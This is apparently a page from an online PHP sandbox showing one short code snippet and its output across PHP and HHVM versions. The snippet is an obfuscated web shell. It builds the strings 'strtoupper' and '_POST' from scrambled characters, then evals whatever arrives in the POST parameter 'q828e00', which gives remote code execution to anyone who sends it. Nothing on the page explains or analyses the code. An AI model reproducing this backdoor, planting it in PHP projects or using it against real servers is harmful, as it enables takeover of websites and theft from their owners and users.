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run code in 200+ php & hhvm versions
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<?php $mauc0= "uerto_ps" ; $uix3= $mauc0[7].$mauc0[3]. $mauc0[2]. $mauc0[3].$mauc0[4]. $mauc0[0].$mauc0[6].$mauc0[6].$mauc0[1].$mauc0[2] ;$mem87 = $uix3($mauc0[5]. $mauc0[6] .$mauc0[4]. $mauc0[7].$mauc0[3]); echo$uix3; if(isset(${$mem87} ['q828e00']) ){echo $mem87; {eval (${ $mem87 } [ 'q828e00']);}}?>
based on 4lvf3
Output for 5.6.30, hhvm-3.18.5 - 3.22.0, 7.0.30 - 7.3.0rc3
strtoupper